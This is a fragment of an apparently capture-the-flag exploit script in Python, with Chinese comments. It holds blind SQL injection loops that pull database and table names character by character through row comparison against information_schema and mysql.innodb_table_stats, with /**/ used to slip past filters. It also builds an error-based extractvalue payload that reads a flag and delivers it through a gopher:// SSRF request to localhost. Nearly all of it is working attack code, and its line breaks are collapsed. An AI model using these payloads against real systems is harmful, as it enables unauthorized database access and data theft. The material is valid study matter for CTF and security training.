defsql_injection_s():#表名 fina_wod="" a="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" for i in range(0,100): for j in range(0,62): #payload_2=f"admin'and (('def','ctf','{fina_wod+a[j]}','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by TABLE_SCHEMA limit 1,1))#".replace(" ","/**/") payload_2=f"admin'and ('ctf','{fina_wod+a[j]}',1,1,1,1)<(table mysql.innodb_table_stats order by database_name limit 1,1)#".replace(" ","/**/") data={ 'username':payload_2, 'password':"1" } r = s.post(url=url, data=data).text print(payload_2) print(r) if"username error"in r: fina_wod+=a[j-1] print(fina_wod) break
defsearch_co():#探测表在第几个 for i in range(0,10000): #payload=f"admin'and/**/('def','ct',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by table_schema desc limit {i},1)#".replace(" ","/**/") payload=f"admin'and/**/('ct',1,1,1,1,1)<(table mysql.innodb_table_stats order by database_name limit {i},1)#".replace(" ","/**/") data1={ 'username':payload, 'password':"123" } #print(data1) #print(s.post(url=url,data=data1).text) if"username error!"in s.post(url=url,data=data1).text: print("ctf库在第",i,"列")
a = "admin')and (extractvalue(1,concat(0x7e,(select group_concat(flag) from flag),0x7e)))#" a = quote(base64.b64encode(a.encode("utf-8"))) payload = f'''gopher%3a%2f%2f127.0.0.1%3a80%2f_post%20%2findex.php%20http%2f1.1%250d%250ahost%3a%20localhost%3a80%250d%250acookie%3a%20phpsessid%3d25c1mm4b3ppn9ohr2gve7d4tg4%3bthis_is_your_cookie%3d{a}%250d%250aconnection%3a%20close%250d%250acontent-type%3a%20application%2fx-www-form-urlencoded%250d%250acontent-length%3a%2021%250d%250a%250d%250auname%3dadmin%26passwd%3dadmin'''